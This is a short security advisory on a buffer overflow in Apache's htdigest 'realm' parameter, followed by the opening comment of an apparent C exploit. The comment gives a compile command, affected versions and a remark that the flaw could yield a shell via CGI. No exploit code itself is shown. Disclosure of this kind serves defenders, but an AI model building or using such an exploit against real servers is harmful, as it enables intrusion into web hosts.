A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers.
 
By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values.
 
This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process.

 *
 * exploit for htdigest 'realm' parameter overflow; not sure on versions, seems to be <= 1.3.27 <= 2.0.52
 * http://www.securiteam.com/unixfocus/5EP061FEKC.html
 * 
 * compile with: gcc -o htdigest-realm-bof htdigest-realm-bof.c -std=c99
 * 
 * One thing to note, apache seems to have htdigest going on quite odd, this code was written
 * for the version that the htdigest sh script links together, debian seems to install the actual binary,
 * so these might not be compatible. Also to note, this code was tested and created using the htdigest 
 * script/lt-htdigest that comes with apache 2.0.52

 * Of course the binary is not setuid by default. This ploit could be possibly useful to gain a
 * shell when htdigest is being ran through a CGI script.
